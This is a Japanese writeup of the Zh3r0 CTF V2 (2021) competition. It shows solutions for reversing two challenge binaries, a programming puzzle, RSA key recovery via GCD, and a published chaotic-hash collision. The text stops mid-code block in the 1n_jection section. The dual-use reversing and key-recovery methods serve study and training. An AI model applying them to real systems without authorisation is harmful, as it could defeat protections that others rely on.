Zh3r0 CTF V2 (2021) Writeup

English version: [Zh3r0 CTF V2 (2021) Writeup (English version) - Qiita](https://qiita.com/mikecat_mixc/items/0ad6c1314f99e71a50df)

# 概要

[Zh3r0 CTF V2](https://guesstheflag.zh3r0.com/) (2021/06/04 19:30 ～ 2021/06/06 19:30 (JST)) ([CTFtime.org](https://ctftime.org/event/1285)) に1人チームで参加した。
結果は4678点で、正の点数を取った509チーム中19位だった。

解けた問題と時刻は以下の通りである。

![Category Breakdown](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/359da0fe-1a2a-6dcf-f838-887280dd090b.png)
![Score over Time.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/1fcbd647-912c-fc0a-72a4-0d469d50ea6a.png)

|Challenge|Category|Value|Time (JST)|
|---|---|---|---|
|A Small Maniac's game|Miscellaneous|100|6/4 21:36:01|
|chaos|Cryptography|136|6/5 01:28:00|
|b00tleg|Cryptography|775|6/5 04:40:05|
|Sanity|Miscellaneous|1|6/5 05:02:58|
|1n_jection|Cryptography|304|6/5 05:26:31|
|Eat Sleep Trace Repeat|Reverse Engineering|365|6/5 06:15:47|
|sparta|Web|100|6/5 07:41:18|
|Twist and Shout|Cryptography|718|6/5 08:56:09|
|Real Mersenne|Cryptography|949|6/5 11:35:43|
|import numpy as MT|Cryptography|930|6/6 02:02:43|
|alice_bob_dave|Cryptography|100|6/6 02:52:29|
|bxxs|Web|100|6/6 03:45:09|
|BabyRE|Reverse Engineering|100|6/6 05:38:22|

# survey (解けなかった問題)

問題surveyは、Googleフォームへのリンクが与えられ、
回答を送信するとflagっぽい文字列が表示されるというよくあるものだった。
しかし、制限時間が非常に短いようだった。
Discordで報告されたfirst bloodが終了9分前だったので、終了10分前頃に公開されたと予想できる。
今回の終了日は残念ながら風呂に入ることを要求される日であり、気付いた時には終わっていた。

表示されたflagっぽい文字列：

```
zh3r0{खेलने के लिए धन्यवाद}
```

Google翻訳にかけたところ、"thanks for playing"という意味のようだ。

# 解けた問題

## Miscellaneous

### Sanity

問題文にDiscordの招待URLが書かれているので、招待を受けた。
すると、Discord上でbotに画像に書かれた文字列の入力を求められたので、入力した。
flagを探した所、`#general`チャンネルのトピックとして書かれていた。

```
zh3r0{pepega_welcomes_you}
```

### A Small Maniac's game

プログラムを書いてキャラクターを動かし、ハシゴに誘導するゲームのURLが与えられた。
用意された13ステージをクリアし、Submit All Solutionボタンを押すことで、flagが得られた。

#### 使える命令

0～7番地のメモリがある。
メモリへのアクセスは`[0]`のように`[番地]`で表現する。
`[[0]]`のようにすることで、アクセスする番地をメモリ内の値で指定することもできる。

* `MOVE 距離 方向`
  * キャラクターを動かす。方向は0で下(距離が負なら上)、1で右(距離が負なら左)となる。
* `READ メモリ`
  * キャラクターが居るマスの数値を指定のメモリに入れる。
* `UNLOCK 値`
  * 指定した値を鍵として、キャラクターが隣接している扉を開ける。鍵が間違っていると強制終了となる。
* `ADD メモリ 値1 値2`
  * 値1と値2の和をメモリに入れる。
* `SUB メモリ 値1 値2`
  * 値1から値2を引いた結果をメモリに入れる。
* `MUL メモリ 値1 値2`
  * 値1と値2の積をメモリに入れる。
* `JMP 値`
  * 「値」行目に制御を移す。
* `JMPZ 値1 値2`
  * 値2が0なら、「値1」行目に制御を移す。
* `JMPN 値1 値2`
  * 値2が負なら、「値1」行目に制御を移す。
* `CMP メモリ 値1 値2`
  * メモリに値1と値2の比較結果を入れる。すなわち、値1&gt;値2なら1、値1=値2なら0、値1&lt;値2なら-1を入れる。

#### 各ステージ

##### level 0

MOVE命令を学ぶ。

![level 0](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/82afa4d9-f9f8-4eb2-9355-179638f6ca5b.png)

##### level 1

MOVE命令の使い方を練習する。

![level 1](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/3de92f43-8d77-18bd-5459-bc5c19daf624.png)

##### level 2

READ命令とUNLOCK命令を学ぶ。

![level 2](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/76fd54d7-6eb5-499c-33be-e3a2482dc24d.png)

##### level 3

ADD、SUB、MUL命令を学ぶ。

![level 3](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/1649a06c-ecab-2ee6-26af-b95dfcc002ce.png)

##### level 4

JMP命令を学ぶ。

![level 4](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/17529156-0c6e-0b11-d2a8-cfda0032a3a0.png)

##### level 5

書かれている値によってどこの通路に行くかを決める。

![level 5](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/01d3e10f-ce4c-25cb-e3fa-31ab329e0d9f.png)

##### level 6

JMPZ命令とJMPN命令を学ぶ。

![level 6](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/dcc1114c-4530-5b20-7f6a-680e72e476e2.png)

##### level 7

左の値をa、上の値をb、右の値をcとして、書かれている式の値を計算する。
(この対応関係は最初に表示される)

![level 7](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/1d19d583-e3b5-9bd6-a958-be86b072ef79.png)

##### level 8

左の値を右の値で割った値を求める。割り切れない場合にどうするべきかは不明。
具体的には、以下のアルゴリズムで求める。商は最初0に初期化されている。

1. 割られる数と割る数を読む
2. 割られる数から割る数を引く
3. 引いた結果が負なら、商を出力して終了する
4. 商に1を加える
5. 2に戻る

![level 8](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/5953968c-fc4a-0c54-e1fe-bd58bd7ad85c.png)

##### level 9

書かれている値をxとして(サブルーチンを用いて)式の値を求める。
6番地を戻り先として使い、6行目～13行目で値の読み込み、式の計算、解錠、移動を行う。

![level 9](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/d6110032-f053-f7c5-42fc-03cd305bf1f5.png)

##### level 10

アクセスする番地をメモリ内の値で指定することができることを学ぶ。

![level 10](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/b23a8455-a448-4911-8c03-723976fe32e6.png)

##### level 11

メモリの7番地に移動した道のりが記録されることを学ぶ。

![level 11](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/55c16e05-d9e3-7bdc-d900-cc9be42a66cb.png)

##### level 12

素数判定を行う。

* 3～5行目：2未満の数を素数ではないと判定する。
* 6行目～15行目：試し割りにより素数判定を行う。
   * 8行目～10行目：割る数が判定対象以上になったら、素数だと判定する。
   * 11行目～15行目：割り算を行う。
      * 13行目：割る数を引いた結果負になった(割り切れなかった)ら、次の割る数に行く。
      * 14行目：割る数を引いた結果0になった(割り切れた)ら、素数ではないと判定する。

![level 12](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/abc12fc7-bee6-660d-e918-5b92f2af5a21.png)

#### flag

```
zh3r0{s0m3t1m3s_4SM_c4N_g1b_bUrn5}
```

## Binary Exploitation

残念ながら解けた問題は無かった。

## Reverse Engineering

### BabyRE

ELFファイルが与えられた。
[CS50 IDE](https://ide.cs50.io/)で実行してみると、コンソール上に表現されたGUIでパスワードの入力を求められた。
試しに適当に入力してEnterキーを押すと、INCORRECT PASSWORDと表示された。

ELFファイルをTDM-GCCのobjdumpで逆アセンブルし、
バイナリエディタでアドレスと文字列の対応を見ながら調査した結果、
0x164e番地あたりで「CORRECT PASSWORD」、
0x168e番地あたりで「INCORRECT PASSWORD」を出力していることがわかった。

<details><summary>該当部分のダンプ</summary><div>

```
    1645:	44 89 e2             	mov    %r12d,%edx
    1648:	44 89 ee             	mov    %r13d,%esi
    164b:	48 89 ef             	mov    %rbp,%rdi
    164e:	48 8d 0d af 09 00 00 	lea    0x9af(%rip),%rcx        # 2004 <usleep@plt+0xc54>
    1655:	31 c0                	xor    %eax,%eax
    1657:	e8 54 fc ff ff       	callq  12b0 <mvwprintw@plt>
    165c:	31 d2                	xor    %edx,%edx
    165e:	be 00 01 00 00       	mov    $0x100,%esi
    1663:	48 83 c4 08          	add    $0x8,%rsp
    1667:	48 89 ef             	mov    %rbp,%rdi
    166a:	5b                   	pop    %rbx
    166b:	5d                   	pop    %rbp
    166c:	41 5c                	pop    %r12
    166e:	41 5d                	pop    %r13
    1670:	e9 1b fd ff ff       	jmpq   1390 <wattr_off@plt>
    1675:	0f 1f 00             	nopl   (%rax)
    1678:	be 00 04 00 00       	mov    $0x400,%esi
    167d:	48 89 ef             	mov    %rbp,%rdi
    1680:	e8 6b fc ff ff       	callq  12f0 <wattr_on@plt>
    1685:	44 89 e2             	mov    %r12d,%edx
    1688:	44 89 ee             	mov    %r13d,%esi
    168b:	48 89 ef             	mov    %rbp,%rdi
    168e:	48 8d 0d 82 09 00 00 	lea    0x982(%rip),%rcx        # 2017 <usleep@plt+0xc67>
    1695:	31 c0                	xor    %eax,%eax
    1697:	e8 14 fc ff ff       	callq  12b0 <mvwprintw@plt>
```

</div></details>

さらに、0x162c番地で0x1560番地の関数を呼び、
戻り値が0でなければ0x168e番地に繋がる0x1678番地へ飛ぶようだった。
0x1560番地の関数は、

1. 第一引数で与えられる文字列の長さが0x20かを`strlen`関数でチェックする
2. 入力データを8バイトずつのブロックに分け、0x14d0番地の関数で加工する
3. 加工結果が期待したものかを`memcmp`関数でチェックする

という処理をしていた。
0x14d0番地の関数とは、以下のものである。

<details><summary>ダンプ結果</summary><div>

```
    14d0:	f3 0f 1e fa          	endbr64 
    14d4:	48 83 ec 18          	sub    $0x18,%rsp
    14d8:	45 31 d2             	xor    %r10d,%r10d
    14db:	31 f6                	xor    %esi,%esi
    14dd:	64 48 8b 04 25 28 00 	mov    %fs:0x28,%rax
    14e4:	00 00 
    14e6:	48 89 44 24 08       	mov    %rax,0x8(%rsp)
    14eb:	31 c0                	xor    %eax,%eax
    14ed:	48 c7 04 24 00 00 00 	movq   $0x0,(%rsp)
    14f4:	00 
    14f5:	49 89 e3             	mov    %rsp,%r11
    14f8:	4c 8d 4c 24 08       	lea    0x8(%rsp),%r9
    14fd:	0f 1f 00             	nopl   (%rax)
    1500:	46 0f b6 04 17       	movzbl (%rdi,%r10,1),%r8d
    1505:	44 89 d1             	mov    %r10d,%ecx
    1508:	4c 89 d8             	mov    %r11,%rax
    150b:	eb 06                	jmp    1513 <usleep@plt+0x163>
    150d:	0f 1f 00             	nopl   (%rax)
    1510:	0f b6 30             	movzbl (%rax),%esi
    1513:	44 89 c2             	mov    %r8d,%edx
    1516:	48 83 c0 01          	add    $0x1,%rax
    151a:	41 d0 e8             	shr    %r8b
    151d:	83 e2 01             	and    $0x1,%edx
    1520:	d3 e2                	shl    %cl,%edx
    1522:	09 f2                	or     %esi,%edx
    1524:	88 50 ff             	mov    %dl,-0x1(%rax)
    1527:	49 39 c1             	cmp    %rax,%r9
    152a:	75 e4                	jne    1510 <usleep@plt+0x160>
    152c:	49 83 c2 01          	add    $0x1,%r10
    1530:	49 83 fa 08          	cmp    $0x8,%r10
    1534:	74 0a                	je     1540 <usleep@plt+0x190>
    1536:	0f b6 34 24          	movzbl (%rsp),%esi
    153a:	eb c4                	jmp    1500 <usleep@plt+0x150>
    153c:	0f 1f 40 00          	nopl   0x0(%rax)
    1540:	48 8b 7c 24 08       	mov    0x8(%rsp),%rdi
    1545:	64 48 33 3c 25 28 00 	xor    %fs:0x28,%rdi
    154c:	00 00 
    154e:	48 8b 04 24          	mov    (%rsp),%rax
    1552:	75 05                	jne    1559 <usleep@plt+0x1a9>
    1554:	48 83 c4 18          	add    $0x18,%rsp
    1558:	c3                   	retq   
    1559:	e8 22 fd ff ff       	callq  1280 <__stack_chk_fail@plt>
```

</div></details>

C言語で書き下すと、以下のような処理のようである。

<details><summary>書き下し 1</summary><div>

```c
uint64_t func_14d0(char* rdi) {
	uint32_t r10d = 0;
	uint32_t esi = 0;
	uint64_t mem_rsp = 0;
	uint64_t rsp = (uint64_t)&mem_rsp;
	/* 14f5 */
	uint64_t r11 = rsp;
	uint64_t r9 = rsp + 8;
	do {
		uint32_t r8d = (uint8_t)rdi[r10];
		/* 1505 */
		uint32_t ecx = r10d;
		uint64_t rax = r11;
		do {
			/* 1513 */
			uint32_t edx = r8d;
			rax += 1;
			r8d = (r8d & 0xffffff00) | ((r8d & 0xff) >> 1);
			edx &= 1;
			edx <<= ecx;
			edx |= esi;
			*(uint8_t)(rax - 1) = edx;
			/* 1527 */
		} while (r9 != rax && (esi = *(uint8_t)rax, 1));
		/* 152c */
		r10 += 1;
	} while (r10 != 0x8 && (esi = *(uint8_t)rsp, 1));
	return mem_rsp;
}
```

</div></details>

さらに整理すると、以下のような処理である。

<details><summary>書き下し 2</summary><div>

```c
uint64_t func_14d0(char* rdi) {
	int i, j;
	union {
		uint8_t a[8];
		uint64_t i;
	} ret;
	ret.i = 0;
	for(i = 0; i < 8; i++) {
		uint8_t r8 = rdi[i];
		for (j = 0; j < 8; j++) {
			uint8_t edx = r8;
			r8 >>= 1;
			ret.a[j] = ((edx & 1) << i) | ret.a[j];
		}
	}
	return ret.i;
}
```

</div></details>

[CS50 IDE](https://ide.cs50.io/)上でこのELFファイルのプロセスにGDBでアタッチし、
0x15d4番地(`memcmp`関数の呼び出し)にブレークポイントをセットすることで、
`memcmp`関数の引数を読み取ることができ、そこからそこに格納されている値を読み取ることができた。
ブレークポイントのセットに用いるアドレスは、`where`の実行結果の末尾3桁をダンプ結果の番地と見比べ、
それっぽい対応を探した結果、末尾が`3d1`のアドレスが0x13d1番地に対応するとみなせると仮定することで、
求めることができた。

得られた期待する値に基づき、[Z3](https://github.com/Z3Prover/z3)を用いてそれに対応する入力を求めた。

<details><summary>対応する入力を求めるプログラム</summary><div>

```solve.py
import z3

targets = [
	0x00ab7ffda3c0ada4, 0x00fdbfda48e2d5e8,
	0x0076bf7bc4f240d1, 0x00fd82aeadd50787
]

def solve(target):
	s = z3.Solver()
	rdi = [z3.BitVec("c" + str(i), 8) for i in range(8)]
	ret = [0 for i in range(8)]
	for i in range(8):
		r8 = rdi[i]
		for j in range(8):
			edx = r8
			r8 = z3.LShR(r8, 1)
			ret[j] = ((edx & 1) << i) | ret[j]
	for i in range(8):
		s.add(ret[i] == ((target >> (8 * i)) & 0xff))
	res = s.check()
	if res == z3.sat:
		m = s.model()
		return [m[v].as_long() for v in rdi]
	else:
		raise Exception(str(res))

ans = ""

for t in targets:
	res = solve(t)
	print(res)
	for c in res:
		ans += chr(c)

print(ans)
```

</div></details>

その結果、得られたデータがflagになっていた。

```
zh3r0{4_b4byre_w1th0ut_-O3_XDXD}
```

### Eat Sleep Trace Repeat

実行した命令とそのアドレスの列と考えられるテキストデータが与えられた。
[サクラエディタ](https://sakura-editor.github.io/)の機能でデータを昇順ソートし、重複行を削除することで、以下のプログラムが得られた。

<details><summary>復元されたプログラム</summary><div>

```
0x401000 : call 0x401068
0x401005 : push rbp
0x401006 : mov rbp, rsp
0x401009 : xor rax, rax
0x40100c : xor rdi, rdi
0x40100f : lea rsi, ptr [0x402808]
0x401017 : mov edx, 0x64
0x40101c : syscall 
0x40101e : mov rsp, rbp
0x401021 : pop rbp
0x401022 : ret 
0x401023 : mov rcx, qword ptr [0x402000]
0x40102b : mov rdx, rcx
0x40102e : shr rdx, 0xc
0x401032 : xor rcx, rdx
0x401035 : mov rdx, rcx
0x401038 : shl rdx, 0x19
0x40103c : xor rcx, rdx
0x40103f : mov rdx, rcx
0x401042 : shr rdx, 0x1b
0x401046 : xor rcx, rdx
0x401049 : mov rax, 0x2545f4914f6cdd1d
0x401053 : mul rcx
0x401056 : mov qword ptr [0x402000], rcx
0x40105e : ret 
0x40105f : mov qword ptr [0x402000], rdi
0x401067 : ret 
0x401068 : mov eax, 0x1
0x40106d : mov rdi, rax
0x401070 : lea rsi, ptr [0x4028d0]
0x401078 : mov edx, 0x10
0x40107d : syscall 
0x40107f : call 0x401005
0x401084 : mov edi, 0x41424344
0x401089 : call 0x40105f
0x40108e : mov ecx, 0x800
0x401093 : xor r15, r15
0x401096 : test rcx, rcx
0x401099 : jz 0x4010b1
0x40109b : push rcx
0x40109c : call 0x401023
0x4010a1 : pop rcx
0x4010a2 : mov byte ptr [r15+0x402008], al
0x4010a9 : inc r15
0x4010ac : dec rcx
0x4010af : jmp 0x401096
0x4010b1 : mov esi, 0x0
0x4010b6 : mov dil, byte ptr [rsi+0x402808]
0x4010bd : call 0x401106
0x4010c2 : cmp rax, 0xffffffffffffffff
0x4010c6 : jz 0x4010fa
0x4010c8 : mov byte ptr [rsi+0x40286c], al
0x4010ce : inc rsi
0x4010d1 : cmp sil, 0x64
0x4010d5 : jnz 0x4010b6
0x4010d7 : mov eax, 0x1
0x4010dc : mov rdi, rax
0x4010df : lea rsi, ptr [0x4028e1]
0x4010e7 : mov edx, 0x10
0x4010ec : syscall 
0x4010ee : mov eax, 0x3c
0x4010f3 : mov edi, 0x0
0x4010f8 : syscall 
0x401106 : push rbp
0x401107 : mov rbp, rsp
0x40110a : mov rbx, rdi
0x40110d : xor rdx, rdx
0x401110 : mov al, byte ptr [rdx+0x402008]
0x401116 : inc rdx
0x401119 : cmp rdx, 0x7ff
0x401120 : jz 0x401131
0x401122 : cmp al, bl
0x401124 : jnz 0x401110
0x401126 : dec rdx
0x401129 : mov rax, rdx
0x40112c : mov rsp, rbp
0x40112f : pop rbp
0x401130 : ret 
```

</div></details>

これをC言語で書き下すと、以下のようになった。

<details><summary>書き下し 1</summary><div>

```c
#include <inttypes.h>
#include <unistd.h>

uint64_t func_401106(uint64_t rdi);

uint64_t mem_402000;
uint8_t mem_402808[4096];
uint8_t mem_4028d0[4096];
uint8_t mem_402008[4096];
uint8_t mem_40286c[4096];
uint8_t mem_4028e1[4096];

void func_401005(void) {
	read(0, mem_402808, 0x64);
}

uint64_t func_401023(void) {
	uint64_t rax, rcx, rdx;
	rcx = mem_402000;
	rdx = rcx;
	rdx >>= 0xc;
	rcx ^= rdx;
	rdx = rcx;
	rdx <<= 0x19;
	rcx ^= rdx;
	rdx = rcx;
	rdx >>= 0x1b;
	rcx ^= rdx;
	rax = rcx * UINT64_C(0x2545f4914f6cdd1d);
	mem_402000 = rcx;
	return rax;
}

void func_40105f(uint64_t rdi) {
	mem_402000 = rdi;
}

void func_401068(void) {
	uint64_t rcx, r15, rsi, rax;
	syscall(1, mem_4028d0, 0x10);
	func_401005();
	func_40105f(0x41424344);
	rcx = 0x800;
	r15 = 0;
	label_401096:
	if (rcx == 0) goto label_4010b1;
	mem_402008[r15] = (uint8_t)func_401023();
	r15++;
	rcx--;
	goto label_401096;
	label_4010b1:
	rsi = 0x0;
	label_0x4010b6:
	rax = func_401106(mem_402808[rsi]);
	if (rax == UINT64_C(0xffffffffffffffff)) goto label_4010fa;
	mem_40286c[rsi] = (uint8_t)rax;
	rsi++;
	if ((uint8_t)rsi != 0x64) goto label_0x4010b6;
	/* 4010d7 */
	write(1, mem_4028e1, 0x10);
	/* 4010ee */
	_exit(0);
	label_4010fa:
	; /* not shown */
}

uint64_t func_401106(uint64_t rdi) {
	uint64_t rax, rbx, rdx;
	rbx = rdi;
	rdx = 0;
	label_0x401110:
	rax = mem_402008[rdx];
	rdx++;
	if (rdx == 0x7ff) goto label_401131;
	if ((uint8_t)rax != (uint8_t)rbx) goto label_0x401110;
	rdx--;
	rax = rdx;
	return rax;
	label_401131;
	; /* not shown */
}
```

</div></details>

さらに整理すると、以下のようになった。

<details><summary>書き下し 2</summary><div>

```c
#include <inttypes.h>
#include <unistd.h>

uint64_t search(uint8_t target);

uint64_t rng_status;
uint8_t input_buffer[4096];
uint8_t message1[4096];
uint8_t random_data[4096];
uint8_t found_data[4096];
uint8_t message2[4096];

void read_data(void) {
	read(0, input_buffer, 0x64);
}

uint64_t rng_get(void) {
	uint64_t work;
	work = rng_status;
	work ^= (work >> 0xc);
	work ^= (work << 0x19);
	work ^= (work >> 0x1b);
	rng_status = work;
	return work * UINT64_C(0x2545f4914f6cdd1d);
}

void rng_seed(uint64_t seed) {
	rng_status = seed;
}

void entry(void) {
	uint64_t i, pos;
	uint64_t rcx, r15, rsi, rax;
	syscall(1, message1, 0x10);
	read_data();
	rng_seed(0x41424344);

	for (i = 0x800, pos = 0; i != 0; i--) {
		random_data[pos++] = (uint8_t)rng_get();
	}

	for (i = 0; i != 0x64; i++) {
		uint64_t res = search(input_buffer[i]);
		if (res == UINT64_C(0xffffffffffffffff)) {
			/* not shown */
			for(;;);
		}
		found_data[rsi] = (uint8_t)res;
	}
	write(1, message2, 0x10);
	_exit(0);
}

uint64_t search(uint8_t target) {
	uint64_t i = 0;
	for (;;) {
		uint8_t c = random_data[i++];
		if (i == 0x7ff) {
			/* not shown */
			return UINT64_C(0xdeadbeef);
		}
		if (c == target) {
			return i - 1;
		}
	}
}
```

</div></details>

これは、入力データの各バイトを乱数列から探し、結果を配列に格納するプログラムのようである。
以下のプログラムで試した所、この乱数列には全ての8ビット符号なし整数が含まれるようだった。

<details><summary>乱数列を出力し、各整数が含まれるかをチェックするプログラム</summary><div>

```rng_test.c
#include <stdio.h>
#include <inttypes.h>

uint64_t rng_status;

uint64_t rng_get(void) {
	uint64_t work;
	work = rng_status;
	work ^= (work >> 0xc);
	work ^= (work << 0x19);
	work ^= (work >> 0x1b);
	rng_status = work;
	return work * UINT64_C(0x2545f4914f6cdd1d);
}

void rng_seed(uint64_t seed) {
	rng_status = seed;
}

int main(void) {
    char visited[256] = "";
    rng_seed(0x41424344);
    
    for (int i = 0; i < 0x800; i++) {
        int x = (int)(uint8_t)rng_get();
        printf("%d\n", x);
        visited[x] = 1;
    }
    for (int i = 0; i < 256; i++) {
        putchar(visited[i] ? 'x' : '.');
    }
    return 0;
}
```

</div></details>

さて、今ある情報から入力データを復元したい。
ここで、最初の命令列を用いることで、データの検索結果を得ることができる。
これには、「検索関数に入ってから出るまでに、カウンタのインクリメントを何回したか」を求めればよい。

<details><summary>検索関数の返り値を求めるプログラム</summary><div>

```parse.pl
#!/usr/bin/perl

use strict;
use warnings;

my $count = 0;

while (my $line = <STDIN>) {
	my ($addr, $other) = split(/ : /, $line);
	if ($addr eq "0x40110d") {
		$count = 0;
	} elsif ($addr eq "0x401116") {
		$count++;
	} elsif ($addr eq "0x401126") {
		printf("%d\n", $count - 1);
	}
}
```

</div></details>

この検索関数の返り値の列と乱数列から、入力データを復元することができる。

<details><summary>入力データを復元するプログラム</summary><div>

```solve.pl
#!/usr/bin/perl

use strict;
use warnings;

my @rng_res = ();
open(RNG, "< rng_test-out.txt") or die;
while (my $line = <RNG>) {
	chomp($line);
	if ($line =~ /\A\d+\z/) {
		push(@rng_res, int($line));
	}
}
close(RNG);

my @parse_res = ();
open(PARSE, "< parse-res.txt") or die;
while (my $line = <PARSE>) {
	printf("%c", $rng_res[int($line)]);
}
close(PARSE);
print "\n";
```

</div></details>

```
zh3r0{d1d_y0u_enjoyed_r3v3rs1ng_w1th0ut_b1n4ry_?}
```

## Cryptography

### alice_bob_dave

以下の処理をするプログラムと、その出力が与えられた。

1. 定数`e=65537`、1024ビットの素数`p,q,r`、メッセージを表す数`pt_a,pt_b`を用意する
2. `(p-1)*(q-1)`を法とする`e`の逆数`d_a`を求める
3. `(p-1)*(r-1)`を法とする`e`の逆数`d_b`を求める
4. `pt_a`を`e`乗して`p*q`で割った余り`ct_a`を求める
5. `pt_b`を`e`乗して`p*r`で割った余り`ct_b`を求める

出力は以下のものであった。

```
ct_a=1991374644522844726604723395302447678829362766488998002689642863876589167224123634868869407586265887639572846618361378190717796457675877867002990630200549839187693737176043693114429036857443618075597595356236777647214186597416429862630588853297534066191784060030827904725960955181749644590885127762513958644117342351741609981560458367036971039921421548984093411630930209440031060634872093143755813835906517674672118355461511837533783279547447855290393938723966500874359457216314821548439555245649159786182924722770460929014017979622168454175758261065999271764594369618940918533185330319317089809708951104047147411596
ct_b=11560415492145861207516424108577715664730529386805857287246533744961821151018194362544284902991666685182413092786353089517543091603274250128250910669110530206320138191614471688310529571895441809729559056935543845898702106837033971935287923495445981173899073238286288875669342754013550227359718814123485311705960547980778357375585882146296937739196745327987012437076826111202650212821723168353665944362122152786549834258495316372518691633486765982945106049194892430437710982481105051765183397588927444843790029563399175420351710322220501327577415113508236805750358567711052779340011355629159610689505604941700815518380
d_a=12007894588345817095001901772235818535532128075248502006167506715501613386280619988757005912270381074208611126718938214462213079931302423653355153363846803336576965899104058007549509604040316897464770127372797630135493394807353800174267249408200186888724103432412296802728616667116382243738519746110159825921676647202689661952040602841752466515868580858475210918168761862255041985423595605698941150797550252491451770611246462256935118062094973933183288422900540413805923476283359196218128607678993284504582128505198491110084905108072190837781925478455984417366202863689318005069821086805269764308054632708127147397685
d_b=15309121030008789112453654624398278092026139678301334759817236349957760197277968332173160272007689043235997494440248487531238644015060915059836861728115118555482791561589562225055947155368216166612774271639118879220806859714069050410034235487298164832205885978355955618431606156727831992132535894020870312453902803351757466444078059503362362343138846985263572980446344678973847354860739168547872456538618897496981232096868408852088578700314051200160980186449222946973789039336701174360592471866811887750298968395798446811465432587371913161943176018766518394820191044593922558127924048562996714970537749736086175516533
e=65537
```

`d_a`および`d_b`が`e`の逆数であるということは、適当な整数`hoge1`、`hoge2`を用いて

```
e * d_a == hoge1 * ((p-1)*(q-1)) + 1
e * d_b == hoge2 * ((p-1)*(r-1)) + 1
```

と表すことができる。すなわち、

```
hoge1 * (p-1) * (q-1) == e * d_a - 1
hoge2 * (p-1) * (r-1) == e * d_b - 1
```

が成り立つので、`e * d_a - 1`と`e * d_b - 1`の最大公約数は`p-1`の倍数になる。
この最大公約数は

```
1063674784897149990359668699718471130138210187735367649430043494704446119726399134598128757909584679831926492357718602564233801979897366986055094675176840339284000611158244788448799456009499061900373083529001714824292921023704494926141676352020474793949930704354415623841306024461826411230448291945896587096972
```

であり、底が2の対数をとると約1026.56であった。
最初の素数は1024ビットのはずなので、2ビット程度多いようである。
小さい整数で順に割っていき、割り切れた商に1を足したものを[巨大数向け素数判定機](https://tools.m-bsys.com/calculators/primality_test_for_large_number.php)で調べると、
2～1000で割った中で、6で割って1を足した

```
177279130816191665059944783286411855023035031289227941571673915784074353287733189099688126318264113305321082059619767094038966996649561164342515779196140056547333435193040798074799909334916510316728847254833619137382153503950749154356946058670079132324988450725735937306884337410304401871741381990982764516163
```

のみが「おそらく素数」と判定された。よって、これが素数`p`であると推測できた。

ここで、

```
hoge1 * (p-1) * (q-1) == e * d_a - 1
```

を変形すると、

```
(e * d_a - 1) / (p-1) == hoge1 * (q-1)
```

となり、`q-1`の倍数が出てくる。この値は

```
4439109014204074880496681600978838415162548241966597861044829103033998899476792246936766381662485311079037525893642252558644187815383799425046177251935134882238733003448788817295856797705945107852493812420719637192501830180727307768442674256794164003420441243453015931578008974736312772968433473928239439066207962
```

であり、底が2の対数は約1038.59であった。
`1 << 13`～`1 << 15`の数で割って調べた所、28477で割って1を足した

```
155884012157322571917571429609117477794801005792976713173607792359939561733216007547732077875565730627490168412882054028115468195925968305125054508969875158276459353283308944667481012666571096247936714275405402155862690247593753125976847078582510938772358086998385220759841590572613434454768180423789003022307
```

が「おそらく素数」となった。よって、これが素数`q`であると推測できた。
同様に、素数`r`は

```
152403791625721851654120555560673744553701328109255879726337480096744356018547509475023868657897447439271501318332177621761545812231960220886709355355570370122257259486344955476929483307543879747176492652883512877777163462444499810416443763758426816456424484060280743786614239115245058838657579029682477426407
```

であると推測できた。

`ct_a`の`d_a`乗を`p*q`で割った余りを計算すると、

```
0x48657920446176652069747320416c69636520686572652e4d7920666c6167206973207a683372307b4743445f63306d33735f
```

となり、[CyberChef](https://gchq.github.io/CyberChef/)のFrom Hexを用いると

```
Hey Dave its Alice here.My flag is zh3r0{GCD_c0m3s_
```

というメッセージになった。

`ct_b`の`d_b`乗を`p*r`で割った余りを計算すると、

```
0x48657920446176652069747320426f6220686572652e4d7920666c61672069732037305f5233734375655f333734323938367d
```

となり、これは

```
Hey Dave its Bob here.My flag is 70_R3sCue_3742986}
```

というメッセージになった。
これらのメッセージを組み合わせることで、flagが得られた。

```
zh3r0{GCD_c0m3s_70_R3sCue_3742986}
```

### chaos

TCPサーバの接続情報と、そこで動いているプログラムが与えられた。
プログラムは、2個の入力についてハッシュ値の計算を行い、
違う入力で同じハッシュ値であればflagを出力するというものだった。

ハッシュ値の計算で使われていた最初の謎の値`0x0124fdce`でググってみると、
[Collisions in the Original Version of a Chaotic Hash Function](https://eprint.iacr.org/2005/403.pdf)
がヒットし、同じアルゴリズムを扱っている感じだった。

この資料に書かれていたThe first input

```
0124fdce89ab57eaba89370afedc45ef401ab257b7cd34e176b3a27cf13c3adf
```

およびComplementing entire first input

```
fedb02317654a8154576c8f50123ba10bfe54da84832cb1e894c5d830ec3c520
```

を入れることで、flagが得られた。

```
zh3r0{something_chaotic_may_look_random_enough_but_may_be_not_sufficiently_secure}
```

### 1n_jection

Pythonのソースコードが与えられ、出力がコメントとして書かれていた。
このプログラムは、flagの値を入力とし、以下の関数の計算結果を出力するものであった。

* 入力が1要素のリストなら、その要素を返す
* 入力が2要素のリストなら、その要素を順に`i, j`として、`((i+j)*(i+j+1))//2 +j`の値を返す
* それ以外なら、`関数([関数(入力の前半部分), 関数(入力の後半部分)])`の値を返す

Raspberry Pi (Raspbian) で`wolfram`コマンドを実行し、`value`を関数の返り値として

```
Solve[(i+j) * (i+j+1) == (value - j) * 2 && i > 0 && j > 0, {i, j}, Integers]
```

を求めさせることで、返り値から入力の2要素のリストの要素の値を求めることができた。
これを文字を表す数っぽくなるまで手動でひたすら行うことで、最初の入力のリストを求めることができた。

<details><summary>求めた結果</summary><div>

```
2597749519984520018193538914972744028780767067373210633843441892910830749749277631182596420937027368405416666234869030284255514216592219508067528406889067888675964979055810441575553504341722797908073355991646423732420612775191216409926513346494355434293682149298585
